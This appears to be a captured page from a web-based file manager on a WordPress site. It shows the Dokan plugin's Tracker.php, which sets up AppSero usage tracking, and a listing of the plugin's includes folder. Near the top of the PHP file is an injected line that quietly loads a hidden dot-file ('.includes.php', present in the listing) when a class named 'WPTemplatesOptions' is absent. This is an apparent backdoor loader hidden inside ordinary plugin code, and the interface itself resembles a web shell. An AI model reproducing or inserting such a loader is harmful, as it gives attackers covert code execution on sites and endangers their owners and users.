PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-lite
/
includes
<?php namespace WeDevs\Dokan; /** * Dokan tracker * * @since 2.4.11 * @since 2.8.7 Using AppSero\Insights for tracking */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Tracker { public $insights = null; /** * Class constructor * * @since 2.8.7 * * @return void */ public function __construct() { $this->appsero_init_tracker_dokan(); } /** * Initialize the plugin tracker * * @since 2.8.7 * * @return void */ public function appsero_init_tracker_dokan() { $client = new \Appsero\Client( '559bcc0d-21b4-4b34-8317-3e072badf46d', 'Dokan Multivendor Marketplace', DOKAN_FILE ); $this->insights = $client->insights(); $this->insights->add_extra( [ 'products' => $this->insights->get_post_count( 'product' ), 'orders' => $this->get_order_count(), 'is_pro' => class_exists( 'Dokan_Pro' ) ? 'Yes' : 'No', ] ); $this->insights->init_plugin(); } /** * Get number of orders * * @return integer */ protected function get_order_count() { global $wpdb; return (int) $wpdb->get_var( "SELECT count(ID) FROM $wpdb->posts WHERE post_type = 'shop_order' and post_status IN ('wc-completed', 'wc-processing', 'wc-on-hold', 'wc-refunded');"); } }
[+]
..
[+]
Shortcodes
[+]
Install
[+]
Abstracts
[+]
REST
[-] Registration.php
[edit]
[+]
Walkers
[+]
Vendor
[+]
Traits
[-] wc-legacy-functions.php
[edit]
[-] Privacy.php
[edit]
[-] PageViews.php
[edit]
[+]
Upgrade
[-] template-tags.php
[edit]
[+]
Withdraw
[+]
Product
[-] functions.php
[edit]
[+]
Exceptions
[+]
ThemeSupport
[+]
Emails
[+]
Dashboard
[-] Assets.php
[edit]
[-] wc-functions.php
[edit]
[-] wc-template.php
[edit]
[+]
Order
[-] .includes.php
[edit]
[-] Commission.php
[edit]
[-] Rewrites.php
[edit]
[+]
Widgets
[+]
Admin
[-] Ajax.php
[edit]
[-] reports.php
[edit]
[-] Tracker.php
[edit]
[+]
woo-views
[-] Core.php
[edit]
[-] functions-compatibility.php
[edit]